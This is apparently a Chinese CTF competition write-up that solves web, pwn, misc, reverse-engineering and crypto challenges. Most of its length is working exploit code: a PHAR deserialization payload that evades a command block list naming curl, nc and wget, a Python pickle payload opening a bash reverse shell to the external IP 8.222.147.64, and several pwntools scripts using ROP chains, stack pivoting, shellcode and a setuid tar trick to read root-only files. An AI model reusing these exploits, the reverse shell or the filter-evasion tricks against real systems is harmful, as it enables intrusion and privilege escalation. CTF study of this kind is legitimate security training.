# WEB

# capoo

发现获取图片通过的是文件路径,尝试路径穿越读取,发现可以读出数据。传入 capoo=/var/www/html/showpic.php 得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class CapooObj {
public function __wakeup()
{
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
system($this->action);
}
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
$file = $_POST['capoo'];

if (file_exists($file)) {
$data = file_get_contents($file);
$base64 = base64_encode($data);
} else if (substr($file, 0, strlen("https://")) === "https://") {
$data = file_get_contents($_POST['capoo'] . "/capoo.gif");
if (strpos($data, "PILER") !== false) {
die("Capoo piler not allowed!");
}
file_put_contents("capoo_img/capoo.gif", $data);
die("Download Capoo OK");
} else {
die('Capoo does not exist.');
}
} else {
die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Display Capoo</title>
</head>
<body>
<img style='display:block; width:100px;height:100px;' id='base64image'
src='data:image/gif;base64, <?php echo $base64;?>' />
</body>
</html>

发现开头有一个类,内部可以 getshell ,传参处有一处写文件点,猜测可以传入 phar 反序列化,但是题目过滤了 PILER ,考虑使用 gzip 压缩后再操作。

构建 phar 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class CapooObj {
public $action="<thecommand>";
public function __wakeup()
{
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
system($this->action);
}
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$a=new CapooObj();
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

最后考虑 waf 问题。由于在 linux 中,一些空字符可以用一些变量表示,例如空格使用 $IFS ,无字符可使用 $1 (此前无命令情况下),由此,执行命令 ls / 相当于 l$1s$IFS/ 。找到 flag 名称是 flag-33ac806f ;最后读取 flag ,将弄好的 phar 文件 gzip 压缩后上传到 vps ,然后下载并反序列化拿到 flag

最终 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class CapooObj {
public $action="c\$1at\$IFS/f\$1lag-33ac806f";
public function __wakeup()
{
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
system($this->action);
}
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$a=new CapooObj();
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

# ez_picker

根据题面的函数 merge

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

推测可以进行原型链污染,根据这个原理,可以将原先随机的 secret_key 和白名单污染(实践可知,白名单上的根本无法 getshell)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
# 定义服务器地址
url = "https://web-7ac1b48662.challenge.xctf.org.cn:80/register" # 根据你的实际服务器地址修改

# 用户注册数据,包含恶意的 __init__ 和 __globals__ 尝试污染 secret_key
payload = {
"username": "new_user", # 正常用户名
"password": "secure_passwosssrd", # 正常密码
"__proto__": {
"secret_key": "elysec"
},
"__init__": {
"__globals__" :
{
"safe_names" :["getattr","system","dict","globals","eval","exec"],
"safe_modules" : "builtins",
"secret_key": "elysec"
}
}

}


# 设置请求头
headers = {
'Content-Type': 'application/json'
}

# 发送 POST 请求到注册接口
response = requests.post(url, json=payload, headers=headers)

# 检查服务器的响应
if response.status_code == 200:
# 注册成功的响应
print("注册成功!服务器响应:", response.json())
else:
# 如果注册失败,显示错误信息
print(f"注册失败!状态码: {response.status_code}, 响应: {response.text}")

执行上述脚本后,可以在注册新用户的同时修改白名单和密钥。

最后根据修改后的白名单,选中 builtins 模块,以 dict 属性为起点,找到 eval 函数,执行代码,最终反弹 shell 即可得到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
payload='''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("bash -c 'bash -i >& /dev/tcp/8.222.147.64/9999 0>&1'")'
tR.'''.encode()

filename = 'win.pkl'

with open(filename, 'wb') as f:
f.write(payload)

# PWN

# signin

开始时伪随机密码需用 ctype 执行库函数进行计算。

虽说是堆题,但是在 add 中有一个函数可以进行栈溢出,所以其实是栈溢出题。

用堆泄露 libc 地址,进行栈迁移,然后进行 orw。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/python3
from pwn import *
from LibcSearcher import LibcSearcher
from ctypes import *
#--------Common command abbreviation---------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda num=None: io.recv(num)
ru = lambda text : io.recvuntil(text)
rl = lambda : io.recvline()
tb = lambda num : str(num).encode()
uu32 = lambda flag=b'\n', off=1, len=4: u32((r(flag) if isinstance(flag,int) else ru(flag))[-off-len:-off].ljust(4, b'\x00'))
uu64 = lambda flag=b'\n', off=1, len=8: u64((r(flag) if isinstance(flag,int) else ru(flag))[-off-len:-off].ljust(8, b"\x00")) # recive Bytes number
rx = lambda nos=b'\n', off=1, len=None: int((r(nos)if isinstance(nos,int) else ru(nos))[-off-len if isinstance(len,int) else 0:-off],16) # recive Hex number
lg = lambda x, flag=None: log.info(f"{flag if flag else','.join([k for k,v in globals().items() if v==x])}:\t{x:#x}"if isinstance(x,int)else x) # output Value
ia = lambda : io.interactive()
ss = lambda time=0.1: pause() if mode == 2 else sleep(time)
#--------------------------------------------------

context(os='linux', arch='amd64')
elfFile = 'vuln'
url = 'localhost:0000'
# libcFile = '/glibc-all-in-one/2.35-0ubuntu3.7_amd64/libc.so.6'
libcFile = './libc.so.6'
clib = cdll.LoadLibrary("./libc.so.6")
ldFile = ''
#------------------------------------------------
libc = ELF(libcFile) if os.path.exists(libcFile) else None
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 # 0: remote 1:local Run 2:local debug
e = ELF('./'+elfFile+'_pe') if mode and os.path.exists(elfFile+'_pe') else ELF('./'+elfFile)
def start():
global io
if mode:
io = process('./'+elfFile)
# io = process('./'+elfFile+'_pe')
# io = process([ldFile,'./'+elfFile], env={'LD_PRELOAD' : libcFile})
else:
io = remote("pwn-46ae88e25f.challenge.xctf.org.cn", 9999, ssl=True)
clib.srand(0)
def debug(*args):
gdbcmd = []
if mode!=2: return
for i in args:
if isinstance(i, int):
if i>0x10000:
this = f'b *{i:#x}'
else:
this = f'b *$rebase({i:#x})'
else: this = i
gdbcmd.append(this)
gdb.attach(io, '\n'.join(gdbcmd))
# ss()
#-----------------------------------------------
def choose(x):
sa(b'>> \n', p32(x))
def add(index, content=b'a'*0x100):
choose(1)
sa(b'Index: ', p32(index))
# sla(b'size:', tb(size))
sa(b'Note: ', content)
def free(index):
choose(2)
sa(b'Index: ', p32(index))

def edit(index, size, content):
choose(3)
sa(b'Index: ', p32(index))
sa(b'size:', p32(size))
sa(b'content:', content)
def dump():
choose(4)
# sla(b'Index: ', tb(index))
# ru(b'content:')
#----------------------------------------------
#main script begin:
start()
offset = 0x100 + 8
rdi = 0x0000000000401893
rsi_r15 = 0x0000000000401891
leave = 0x4013EE
puts_p = e.plt['puts']
lsm_g = e.got['__libc_start_main']
mainret = 0x04013C0
migret = 0x4013CF
debug(mainret)

s(b'\0'*0x12)
for i in range(100):
passwd = clib.rand() % 100 + 1
sa(b'code:', p64(passwd))
context.log_level = 'debug'

add(0)
payload = b'a'*offset + flat(rdi, lsm_g, puts_p, mainret)
s(payload)

ru(b'\n')
lsm_a = uu64()
lg(lsm_a)
lb = lsm_a - libc.sym['__libc_start_main']
rdx = lb + 0x0000000000142c92
sys_a = lb + libc.sym['system']
mh_a = lb + libc.sym['__malloc_hook']
open_a = lb + libc.sym['open']
write_a = lb + libc.sym['write']
read_a = lb + libc.sym['read']
bs_a = lb + next(libc.search(b'/bin/sh'))
lg(lb)

buf = 0x404800
payload = b'a'*(offset-8) + flat(buf, migret)
s(payload)
ss()

payload = flat({0:[0, rdi, buf+0x20, rsi_r15,0,0,rdx,0, open_a,
rdi, 3, rsi_r15, buf, 0, rdx, 0x40, read_a,
rdi, 1, rsi_r15, buf, 0, rdx, 0x40, write_a,
],
0x100:[buf-0x100,leave],
0x120:"/flag\0"}, filler=b'\0')
s(payload)
ia()
#main script end
#----------------------------------------------

# sign_revenge

更简单了

直接栈迁移。然后 orw。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/python3
from pwn import *
from LibcSearcher import LibcSearcher
#--------Common command abbreviation---------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda num=None: io.recv(num)
ru = lambda text : io.recvuntil(text)
rl = lambda : io.recvline()
tb = lambda num : str(num).encode()
uu32 = lambda flag=b'\n', off=1, len=4: u32((r(flag) if isinstance(flag,int) else ru(flag))[-off-len:-off].ljust(4, b'\x00'))
uu64 = lambda flag=b'\n', off=1, len=8: u64((r(flag) if isinstance(flag,int) else ru(flag))[-off-len:-off].ljust(8, b"\x00")) # recive Bytes number
rx = lambda nos=b'\n', off=1, len=None: int((r(nos)if isinstance(nos,int) else ru(nos))[-off-len if isinstance(len,int) else 0:-off],16) # recive Hex number
lg = lambda x, flag=None: log.info(f"{flag if flag else','.join([k for k,v in globals().items() if v==x])}:\t{x:#x}"if isinstance(x,int)else x) # output Value
ia = lambda : io.interactive()
ss = lambda time=0.1: pause() if mode == 2 else sleep(time)
#--------------------------------------------------
context.log_level = 'debug'
context(os='linux', arch='amd64')
elfFile = 'vuln'
url = 'localhost:0000'
# libcFile = '/glibc-all-in-one/2.35-0ubuntu3.7_amd64/libc.so.6'
libcFile = './libc.so.6'
ldFile = ''
#------------------------------------------------
libc = ELF(libcFile) if os.path.exists(libcFile) else None
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 # 0: remote 1:local Run 2:local debug
e = ELF('./'+elfFile+'_pe') if mode and os.path.exists(elfFile+'_pe') else ELF('./'+elfFile)
def start():
global io
if mode:
io = process('./'+elfFile)
# io = process('./'+elfFile+'_pe')
# io = process([ldFile,'./'+elfFile], env={'LD_PRELOAD' : libcFile})
else:
io = remote("pwn-702a267f09.challenge.xctf.org.cn", 9999, ssl=True)
def debug(*args):
gdbcmd = []
if mode!=2: return
for i in args:
if isinstance(i, int):
if i>0x10000:
this = f'b *{i:#x}'
else:
this = f'b *$rebase({i:#x})'
else: this = i
gdbcmd.append(this)
gdb.attach(io, '\n'.join(gdbcmd))
# ss()
#----------------------------------------------
#main script begin:
offset = 0x0100
start()
debug('b main')

main_a = 0x4012C0
main_2 = 0x4012CF
puts_p = e.plt['puts']
lsm_g = e.got['__libc_start_main']
rdi = 0x0000000000401393
rsi_r15 = 0x0000000000401391

leave = 0x4012EE
buf = 0x404800

payload = offset * b'a' + flat(buf, rdi, lsm_g, puts_p, main_2)
sa(b'lets move and pwn!\n',payload)

lsm_a = uu64(b'\n')
lg(lsm_a)


lb = lsm_a - libc.sym['__libc_start_main']
rdx = lb + 0x0000000000142c92
open_a = lb + libc.sym['open']
write_a = lb + libc.sym['write']
read_a = lb + libc.sym['read']

payload = flat({0:[0, rdi, buf+0x20, rsi_r15,0,0,rdx,0, open_a,
rdi, 3, rsi_r15, buf, 0, rdx, 0x40, read_a,
rdi, 1, rsi_r15, buf, 0, rdx, 0x40, write_a,
],
0x100:[buf-0x100,leave],
0x120:"/flag\0"}, filler=b'\0')
s(payload)


ia()
#main script end
#----------------------------------------------


# ezcode

用 json 传输 shellcode。格式大致为, shellcode 作为属性名,汇编代码二进制编码转换为十六进制字符串,作为属性值,例如。

1
2
3
{
"shellcode":"67616c"
}

而这题最难的地方在于,题目在输入后将 shellcode 区域设为仅执行,且只能输入汇编代码 0x16 字节(对应 16 进制字符串 0x32 字节)

因此考虑使用 mprotect 配合 read 进行改写 shellcode 区域权限,重新写入 shellcode。

正常构造肯定超出长度。所以用 cdq 代替 xor edx,edx ,这样可以从 2 字节减少为 1 字节。用 cdq;div idiv ecx 替代 xor eax, eax; xor edx, edx; mov dl, 0xff 。前者奇迹般的能算出商 eax 为 0,余数 edx 为 0x54。只需 3 字节。而后者需要 6 字节。

省吃俭用刚好 0x16 字节构造好 mprotect(buf, 0x9998, 7);read(0, buf, 0x54); ,然后就可以构造 orw 的 shellcode 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/python3
from pwn import *
import json
from LibcSearcher import LibcSearcher
#--------Common command abbreviation---------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda num=None: io.recv(num)
ru = lambda text : io.recvuntil(text)
rl = lambda : io.recvline()
tb = lambda num : str(num).encode()
uu32 = lambda flag=b'\n', off=1, len=4: u32((r(flag) if isinstance(flag,int) else ru(flag))[-off-len:-off].ljust(4, b'\x00'))
uu64 = lambda flag=b'\n', off=1, len=8: u64((r(flag) if isinstance(flag,int) else ru(flag))[-off-len:-off].ljust(8, b"\x00")) # recive Bytes number
rx = lambda nos=b'\n', off=1, len=None: int((r(nos)if isinstance(nos,int) else ru(nos))[-off-len if isinstance(len,int) else 0:-off],16) # recive Hex number
lg = lambda x, flag=None: log.info(f"{flag if flag else','.join([k for k,v in globals().items() if v==x])}:\t{x:#x}"if isinstance(x,int)else x) # output Value
ia = lambda : io.interactive()
ss = lambda time=0.1: pause() if mode == 2 else sleep(time)
#--------------------------------------------------
context.log_level = 'debug'
context(os='linux', arch='amd64')
elfFile = 'vuln'
url = 'localhost:0000'
# libcFile = '/glibc-all-in-one/2.35-0ubuntu3.7_amd64/libc.so.6'
libcFile = './libc.so.6'
ldFile = ''
#------------------------------------------------
libc = ELF(libcFile) if os.path.exists(libcFile) else None
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 # 0: remote 1:local Run 2:local debug
e = ELF('./'+elfFile+'_pe') if mode and os.path.exists(elfFile+'_pe') else ELF('./'+elfFile)
def start():
global io
if mode:
io = process('./'+elfFile)
# io = process('./'+elfFile+'_pe')
# io = process([ldFile,'./'+elfFile], env={'LD_PRELOAD' : libcFile})
else:
io = remote("pwn-a6412be71c.challenge.xctf.org.cn", 9999, ssl=True)
def debug(*args):
gdbcmd = []
if mode!=2: return
for i in args:
if isinstance(i, int):
if i>0x10000:
this = f'b *{i:#x}'
else:
this = f'b *$rebase({i:#x})'
else: this = i
gdbcmd.append(this)
gdb.attach(io, '\n'.join(gdbcmd))
# ss()
#----------------------------------------------
#main script begin:
offset = 0
start()
debug(0x0018A6)
shellc = '''
mov rdi, r15
cdq
mov dl, 0x7
xor eax, eax
mov al, 0xa
syscall
mov rsi, rdi
cdq
idiv ecx
xor edi, edi

syscall
'''

# 3 4 2 2 4 2
sc = asm(shellc) #+ b"/bin/sh\0"
print(f"len: {len(sc):#x}/0x16")
jsonDat={"shellcode":sc.hex()}
payload = json.dumps(jsonDat)

# payload = b"{\"shellcode\":\"" + sc.hex().encode() + b"\0/bin/sh\0\""

sla(b'input:', payload)

shellc2 = '''
mov rdi, rsi
add rdi, 0x48
xor rsi, rsi
xor rdx, rdx
mov eax, 2
syscall

mov rsi, rdi
mov edi, 3
mov dx, 0x40
mov al, 0
syscall

mov edi, 1
mov al, 1
syscall
'''

payload = flat({0x16:asm(shellc2), 0x48:b"/flag\0"}, filler=b'\0')
sa(b'loaded!', payload)

ia()
#main script end
#----------------------------------------------

# guest_book

理论上应该是 house of cat。但是该程序未检查输入的 index,可以实现越界读写,由此实现任意地址读写。

具体流程如下:

堆块地址存放在 0x4060 处,8 字节一元素。大小存放在 0x40e0,4 字节一元素。而 add 读取 size 时直接写入对应位置。因此申请编号为 0,1 的 chunk,即可利用其 size 在 0x40e0 处伪造一个地址。使用编号 16 即可访问该地址。若需编辑,则需在编号 16 对应的 size 区域伪造一定数据。

先利用 largebin chunk 泄露堆地址和 libc 地址,然后泄露 environ 处值,算出栈上 edit 函数返回地址存放位置,在该处分配块,覆写 rop 链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/python3
from pwn import *
from LibcSearcher import LibcSearcher
#--------Common command abbreviation---------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda num=None: io.recv(num)
ru = lambda text : io.recvuntil(text)
rl = lambda : io.recvline()
tb = lambda num : str(num).encode()
uu32 = lambda flag=b'\n', off=1, len=4: u32((r(flag) if isinstance(flag,int) else ru(flag))[-off-len:-off].ljust(4, b'\x00'))
uu64 = lambda flag=b'\n', off=1, len=8: u64((r(flag) if isinstance(flag,int) else ru(flag))[-off-len:-off].ljust(8, b"\x00")) # recive Bytes number
rx = lambda nos=b'\n', off=1, len=None: int((r(nos)if isinstance(nos,int) else ru(nos))[-off-len if isinstance(len,int) else 0:-off],16) # recive Hex number
lg = lambda x, flag=None: log.info(f"{flag if flag else','.join([k for k,v in globals().items() if v==x])}:\t{x:#x}"if isinstance(x,int)else x) # output Value
ia = lambda : io.interactive()
ss = lambda time=0.1: pause() if mode == 2 else sleep(time)
#--------------------------------------------------
context.log_level = 'debug'
context(os='linux', arch='amd64')
elfFile = 'pwn'
url = 'localhost:0000'
# libcFile = '/glibc-all-in-one/2.35-0ubuntu3.7_amd64/libc.so.6'
libcFile = './libc.so.6'
ldFile = ''
#------------------------------------------------
libc = ELF(libcFile) if os.path.exists(libcFile) else None
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 # 0: remote 1:local Run 2:local debug
e = ELF('./'+elfFile+'_pe') if mode and os.path.exists(elfFile+'_pe') else ELF('./'+elfFile)
def start():
global io
if mode:
# io = process('./'+elfFile)
io = process('./'+elfFile+'_pe')
# io = process([ldFile,'./'+elfFile], env={'LD_PRELOAD' : libcFile})
else:
io = remote("pwn-89e046e8a7.challenge.xctf.org.cn", 9999, ssl=True)
def debug(*args):
gdbcmd = []
if mode!=2: return
for i in args:
if isinstance(i, int):
if i>0x10000:
this = f'b *{i:#x}'
else:
this = f'b *$rebase({i:#x})'
else: this = i
gdbcmd.append(this)
gdb.attach(io, '\n'.join(gdbcmd))
# ss()
#-----------------------------------------------
def choose(x):
sla(b'>', tb(x))
def add(index, size):
choose(1)
sla(b'index', tb(index))
sla(b'size', tb(size))
def edit(index, content):
choose(2)
sla(b'index', tb(index))
sa(b'content', content)
def free(index):
choose(3)
sla(b'index', tb(index))

def dump(index):
choose(4)
sla(b'index\n', tb(index))
#----------------------------------------------
#main script begin:
start()


add(7, 0x510)
add(8, 0x500)
add(2, 0x520)
add(3, 0x500)
free(7)
add(4, 0x520)
dump(7)

ma_l520 = uu64()
edit(7, b'a'*0x10)
dump(7)
ru(b'a'*0x10)
heap1 = uu64()

lg(ma_l520)
lg(heap1)
lb = ma_l520 - 0x21b110
lg(lb)
rdi = lb + 0x000000000002a3e5
sys_a = lb + libc.sym['system']
mh_a = lb + libc.sym['__malloc_hook']
bs_a = lb + next(libc.search(b'/bin/sh'))
environ = lb + libc.sym['environ']

hb = heap1 - 0x290
lg(hb)

add(0, environ&0xffffffff)
add(1, environ>>32)
debug(0x00016F2, sys_a)
dump(0x10)
stackenv = uu64()
mainret = stackenv - 0x120 - 0x20
lg(stackenv)
lg(mainret)

add(16, 0x1000)
add(0, mainret&0xffffffff)
add(1, mainret>>32)

payload = flat(rdi+1, rdi, bs_a, sys_a)
edit(16, payload)

ia()
#main script end
#----------------------------------------------


# qwen

这题有两附件,pwn2 需在 pwn1 拿到 shell 后才可获得。利用 pwn2 对不可读的 flag 进行读取。

# pwn1

下棋。无所谓输赢。在结束游戏后可以往 buf 输入数据,存在溢出,可以修改到函数指针 v11。

下子时,若输入数据越界,则会触发报错函数,触发方式为执行 v11 的函数指针。

因此,可以在完成一局后修改 v11,然后在第二局中直接越界,进行任意地址执行。

开启了地址随机,所以仅能跳转到程序的其他地方。刚好有个后门函数,但需爆破倒二字节。

后门函数可以读取文件并输出,文件名有过滤,读取不了 flag(其实没过滤也读不了)。因此考虑读取 /proc/self/maps ,由此泄露 libc 地址和程序地址。

然后就可以快乐构造 rop 链,再把结束时的写入 buf 用上。用 add rsp, 0x68; ret 来执行 buf 内的 rop 链。

# pwn2

拿到 shell 后,会发现 flag 在 /home/ctf ,属于 root,权限 600。而 pwn2 有个 s 权限。

pwn2 中,有 5 种功能,其中, -c 可以实现以文本形式打包文件。打包完的文件可读写。由此可以直接对 flag 文件进行打包,然后利用 cat 进行输出。利用 base64 提取完整文件

1
2
./pwn2 -c tar flag
cat tar | base64

将其在本地还原,得到 flag。

脚本如下,需爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/python3
from pwn import *
import re
from ctypes import *
#--------Common command abbreviation---------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda num=None: io.recv(num)
ru = lambda text : io.recvuntil(text)
rl = lambda : io.recvline()
tb = lambda num : str(num).encode()
uu32 = lambda flag=b'\n', off=1, len=4: u32((r(flag) if isinstance(flag,int) else ru(flag))[-off-len:-off].ljust(4, b'\x00'))
uu64 = lambda flag=b'\n', off=1, len=8: u64((r(flag) if isinstance(flag,int) else ru(flag))[-off-len:-off].ljust(8, b"\x00")) # recive Bytes number
rx = lambda nos=b'\n', off=1, len=None: int((r(nos)if isinstance(nos,int) else ru(nos))[-off-len if isinstance(len,int) else 0:-off],16) # recive Hex number
lg = lambda x, flag=None: log.info(f"{flag if flag else','.join([k for k,v in globals().items() if v==x])}:\t{x:#x}"if isinstance(x,int)else x) # output Value
ia = lambda : io.interactive()
ss = lambda time=0.1: pause() if mode == 2 else sleep(time)
#--------------------------------------------------
context.log_level = 'debug'
context(os='linux', arch='amd64')
elfFile = 'pwn1'
url = 'localhost:0000'
# libcFile = '/glibc-all-in-one/2.35-0ubuntu3.7_amd64/libc.so.6'
libcFile = './libc.so.6'

ldFile = ''
#------------------------------------------------
libc = ELF(libcFile) if os.path.exists(libcFile) else None
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 # 0: remote 1:local Run 2:local debug
e = ELF('./'+elfFile+'_pe') if mode and os.path.exists(elfFile+'_pe') else ELF('./'+elfFile)
def start():
global io
if mode:
# io = process('./'+elfFile)
io = process('./'+elfFile+'_pe')
# io = process([ldFile,'./'+elfFile], env={'LD_PRELOAD' : libcFile})
else:
io = remote("pwn-1b1cf37c7e.challenge.xctf.org.cn", 9999, ssl=True)
def debug(*args):
gdbcmd = []
if mode!=2: return
for i in args:
if isinstance(i, int):
if i>0x10000:
this = f'b *{i:#x}'
else:
this = f'b *$rebase({i:#x})'
else: this = i
gdbcmd.append(this)
gdb.attach(io, '\n'.join(gdbcmd))
# ss()
def mydo():
context.log_level = 'error'
for i in range(5):
sla(b'\xef\xbc\x9a',f'0 {i}'.encode())
context.log_level = 'debug'
#----------------------------------------------
#main script begin:
offset = 0
backdoor = 0x1582
backdoor = 0x1508
bd2 = 0x16D0
bd3 = 0x01727
while 1:
start()
mydo()
payload = b'a'*8 + p16(backdoor)
sa(b'say?', payload)
sla(b'game [Y/N]\n', b'N')
try:
sla(b'\xef\xbc\x9a', b'0 15')
ru(b'key')
break
except:
io.close()
continue
clib = cdll.LoadLibrary(libcFile)
sl(tb(clib.rand()))
sla(b'in!', b'/proc/self/maps')

ru(b'>>\n')
eb = rx(b'-')
while b"pwn" in (recv:=ru(b'\n')):
continue

lb = int(recv[:12].decode(), 16)
ru(b'Return to program entry')
lg(eb)
lg(lb)

oneg = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
one = lb + oneg[0]
lg(one)
rsp68 = lb + 0x000000000010fc5e
rdi = eb + 0x00000000000019b3
sys_a = lb + libc.sym['system']
bs_a = lb + next(libc.search(b'/bin/sh'))
mydo()
payload = flat(0, rsp68,0, rdi, bs_a, sys_a)
sa(b'say?', payload)
sla(b'game [Y/N]\n', b'N')
debug(rsp68)

sla(b'\xef\xbc\x9a', b'0 15')

# context.log_level = 'error'
# shell
cmd = [
"cd /home/ctf",
"./pwn2 -c tar flag",
"cat tar | base64"
]

if mode==0:
for i in cmd:
sl(i.encode())

ia()
#main script end
#----------------------------------------------

# MISC

# ezflag

tcp 流量提取出压缩包

解压改后缀得到 flag

# PvZ

根据提示,生成 1-10000 的数字的 md5 值的密码本对压缩包进行爆破

解压后发现是缺失定位块的畸形二维码

对二维码进行补全

解码后通过特征发现是 malbolge 编程语言,利用在线网站进行解密。

img

# RE

# Serv1ce

利用模拟器检查观察运行逻辑,利用 jadx 寻找 main 函数,发现调用了 libServ1ce.so,且传入了输入值,经过加密后的 key 和一个 num

img

so 主函数,其使用 a5 作为乘法因子,与 v6 偏移处的字节和 v5 中的字符进行异或运算。

img

通过以上逻辑写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DELTA = 0xA4B46062
key = "1liIl11lIllIIl11llII"
v = [
0xB9, 0x32, 0xC2, 0xD4, 0x69, 0xD5, 0xCA, 0xFB, 0xF8, 0xFB,
0x80, 0x7C, 0xD4, 0xE5, 0x93, 0xD5, 0x1C, 0x8B, 0xF8, 0xDF,
0xDA, 0xA1, 0x11, 0xF8, 0xA1, 0x93, 0x93, 0xC2, 0x7C, 0x8B,
0x1C, 0x66, 0x01, 0x3D, 0xA3, 0x67
]

box = [0] * 256
for i in range(64):
box[i] = ((ord(key[i % 20]) - ord('w')) ^ 23) & 0xff

# 爆破循环
for j in range(36):
for i in range(256):
a = ((i ^ box[j]) * 11) & 0xff
if a == v[j]:
print(chr(i), end='')

# CRYPTO

# xor

签到题,通过题面即可得到

img

更新于 阅读次数

